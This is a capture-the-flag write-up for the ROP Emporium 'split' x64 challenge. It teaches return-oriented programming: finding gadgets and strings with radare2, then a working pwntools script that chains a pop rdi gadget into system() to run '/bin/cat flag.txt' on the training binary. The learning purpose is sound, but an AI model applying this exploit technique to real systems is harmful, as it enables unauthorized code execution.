ROP Emporium split Writeup (x64)
Introduction
ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the second challenge of eight.
According to the challenge page our goal is to call system
with the argument /bin/cat flag.txt
. This string is also present in the binary!
This is what a hint will look like!
x64 Calling Convention
We know from the first challenge we need to set the instruction pointer to a function address in order to call that function. But how do we pass arguments to those functions?
In x64
arguments are passed through specific registers. The first three arguments correspond to the rdi
, rsi
, and rdx
registers respectively. This x64 cheat sheet can help if you want to learn more about x64
.
Exploit Crafting
The offset for x64
challenges will be 40 bytes
. If you want to know how to get this value see the ret2win writeup
Function Address
Is there an address where
system()
is called?
Using radare2
we can analyze a binary by running aaa
. To list functions with their addresses we can run afl
Let’s investigate usefulFunction
. We can view the assembly with the following commands
1
2
3
s sym.usefulFunction
V
p
This function seems to call
the system()
function with the argument /bin/ls
. We want to change the argument but let’s take note of the call
address 0x0040074b
Setting Arguments
Find a gadget which sets the
rdi
register
According to the x64 calling convention, a function’s first argument is passed through the rdi
register. In order to set this value we need to find a pop rdi
gadget which will take a value off of the stack and place it into rdi
We can search for ROP gadgets in radare2
with the /R
command
1
/R pop rdi
The address of our gadget is 0x004007c3
. Once we call this gadget, we’ll need to pass the address of the string we want to execute onto the stack.
String Address
The string
/bin/cat flag.txt
exists in the binary
Using radare2
again we can search for case insensitive strings with the /i
command. So to find the address of /bin/cat flag.txt
we run
1
/i /bin/cat flag.txt
Awesome the address of the string is 0x00601060
Exploit
Now we have everything we need to build the exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/python3
from pwn import *
# useful addresses
str_addr = 0x00601060
sys_addr = 0x0040074b
pop_rdi_addr = 0x004007c3
# create payload
payload = b'A' * 40
# set arg1 (pop rdi)
payload += p64(pop_rdi_addr)
payload += p64(str_addr)
# call sys
payload += p64(sys_addr)
# send payload + receive flag
io = process('./split')
io.recv()
io.sendline(payload)
print(io.recvline())
success(io.recvline())
Conclusion
This challenge takes things a step further than just calling an arbitrary function by introducting the ability to set arbitrary arguments for that function.